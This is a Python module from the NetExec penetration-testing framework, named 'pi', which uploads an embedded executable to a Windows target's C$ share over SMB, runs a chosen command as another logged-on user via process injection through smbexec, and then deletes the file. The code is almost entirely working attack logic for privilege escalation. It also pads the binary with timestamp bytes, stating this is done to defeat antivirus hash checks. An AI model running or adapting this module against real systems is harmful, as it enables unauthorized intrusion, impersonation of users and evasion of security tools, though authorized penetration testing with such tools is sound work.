Files
Pennyw0rth-NetExec/nxc/modules/pi.py
T
2025-08-16 15:10:22 -04:00

90 lines
3.5 KiB
Python

from base64 import b64decode
from sys import exit
from os.path import abspath, join, isfile
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import DATA_PATH, TMP_PATH
class NXCModule:
"""
Module for running system command as target PID user's
Module by @termanix
"""
name = "pi"
description = "Run command as logged on users via Process Injection"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
r"""
PID // Process ID for Target User, PID=pid
EXEC // Command to exec, EXEC='command' Single quote is better to use
This module reads the executed command output under the name C:\windows\temp\output.txt and deletes it. In case of a possible error, it may need to be deleted manually.
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
if "PID" in module_options:
self.pid = module_options["PID"]
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
with open(file_to_upload, "wb") as pm:
pm.write(self.pi_embedded)
else:
if isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
exit(1)
try:
if self.cmd == "" or self.pid == "":
self.uploadfile = False
context.log.highlight("Firstly run tasklist.exe /v to find process id for each user")
context.log.highlight("Usage: -o PID=pid EXEC='Command'")
return
else:
self.uploadfile = True
context.log.display(f"Uploading {self.pi}")
with open(file_to_upload, "rb") as pi:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.pi}", pi.read)
context.log.success("pi.exe successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
context.log.display(f"Executing {self.cmd}")
command = f'{self.tmp_dir}pi.exe {self.pid} "{self.cmd}"'
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
context.log.highlight(line)
except Exception as e:
context.log.fail(f"Error running command: {e}")
finally:
try:
if self.uploadfile is True:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.pi}")
context.log.success("pi.exe successfully deleted")
except Exception as e:
context.log.fail(f"Error deleting pi.exe on {self.share}: {e}")